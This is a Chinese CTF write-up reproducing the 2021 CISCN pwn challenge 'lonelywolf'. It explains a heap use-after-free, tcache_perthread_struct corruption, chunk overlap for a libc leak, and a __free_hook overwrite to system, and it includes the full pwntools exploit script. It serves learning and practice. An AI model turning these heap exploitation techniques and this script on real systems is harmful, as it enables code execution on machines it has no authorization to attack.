2021-ciscn-pwn-lonlywolf复现

Lonlywolf

国赛题难度可以…先爬了 做的复现…
这里使用的exp是nuoye大佬的版本 先膜一波
在这里插入图片描述
主函数没什么特殊的 add/del/print/edit都有
在这里插入图片描述
add要求小于0x78(120),而且只保存了当前拿到的chunk地址
在这里插入图片描述
free有典型的UAF
在这里插入图片描述
edit正常 没有off by null 遇’\n’停止。
在这里插入图片描述
print也正常。

下面来说说做法

这题麻烦的是手里只有一个地址 leak完了不方便攻击 直接攻击又没有地址
nuoye大佬的做法是tcache perthread corruption + chunkoverlap
修改tcache_perthread_struct结构体 伪造chunk个数 同时伪造chunk大小 然后free出
unsorted bin来进行leak

tcache_perthread_struct结构体是tcache里面的重要结构体(实际上也很大程度方便了攻击者)
如图所示
在这里插入图片描述

结构体改造

这里先add一个chunk free后置0再free(直接double free 会崩但不报错) 就拿到了堆地址
然后把这个chunk的fd改成tcache_perthread_struct结构体地址 两次add拿到该地址
在再edit将0x90的chunk数改成8(为unsorted bins做准备)
0x70、0x80的chunk数改成1 (不然不能按bins头拿而是会从top chunk割)
再将0x50-0x70的bins头 改成heapbase+0x250 (使后面拿chunk的地址一致)
(正好在tcache_perthread_struct结构体后面)
0x80的bins头改成heapbase+0x260 对应正常情况下的unsorted bins 指针位置

unsorted bins伪造

然后拿0x70的chunk,伪造chunksize为0x90
再拿0x40的chunk 这个会直接从top chunk上面割 所以位置就在上一个chunk后面
在里面伪造0x90后面的chunk 大小为0x30 (chunk overlap)
拿0x80的chunk 再free 因为这时的chunkszie 为0x90
而tcache_perthread_struct里面的chunk数满了 所以会被释放到unsorted bin里面去
直接print leak出地址

攻击

拿个0x30的chunk UAF改fd为__free_hook-8
add两次拿到地址 写成’/bin/sh\x00’+p64(libc.sym[‘system’])
再free就get shell了(free_hook改成了system free参数又是/bin/sh 一石二鸟)

总结

题目有漏洞但不太容易。不光是对tcache_perthread_struct结构体的了解,
更重要的是在只有一个指针时操纵chunk还得保证不出现指针紊乱。
通过伪造chunk个数与头指针,就可以保证按不同大小malloc时获取到所需不同地址。

最后附大佬的exp

from pwn import *
p = process("lonelywolf")
context.log_level = 'debug'
p = remote("124.71.230.240","26077")
libc = ELF("lonelywolf").libc
def add(size):
	p.recvuntil("Your choice: ")
	p.sendline("1")
	p.recvuntil("Index: ")
	p.sendline(str(0))
	p.recvuntil("Size: ")
	p.sendline(str(size))
def edit(data):
	p.recvuntil("Your choice: ")
	p.sendline("2")
	p.recvuntil("Index: ")
	p.sendline(str(0))
	p.recvuntil("Content: ")
	p.send(data)
def show():
	p.recvuntil("Your choice: ")
	p.sendline("3")
	p.recvuntil("Index: ")
	p.sendline(str(0))
def free():
	p.recvuntil("Your choice: ")
	p.sendline("4")
	p.recvuntil("Index: ")
	p.sendline(str(0))
add(0x78)
free()
edit('\x00'*0x10+'\n')
free()
show()
p.recvuntil("Content: ")
heap = u64(p.recv(6)+'\x00\x00')-0x260
print hex(heap)
edit(p64(heap+0x10)+'\n')
add(0x78)
add(0x78)
edit(p32(0)+'\x00\x01\x01\x08'+p64(0)*10+p64(heap+0x250)*3+p64(heap+0x260)) 
'''这里前面可以用\x00\x00\x01\x08 因为0x50的chunk实际上没有用'''
add(0x68) #0x70
edit(p64(0)+p64(0x91)+p64(0)+'\n')
add(0x38) '''0x40的chunk之前根本没有 直接从top chunk上面割自然就在0x70的后面了'''
edit('\x00'*0x8+p64(0x31)+'\n')
add(0x78)
free()
show()
p.recvuntil("Content: ")
libc.address = u64(p.recv(6)+'\x00\x00')-0x3ebca0
print hex(libc.address)
add(0x28)
free()
edit(p64(libc.sym['__free_hook']-8)+'\n')
add(0x28)
add(0x28)
edit('/bin/sh\x00'+p64(libc.sym['system'])+'\n')
free()
#gdb.attach(p)
p.interactive()
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值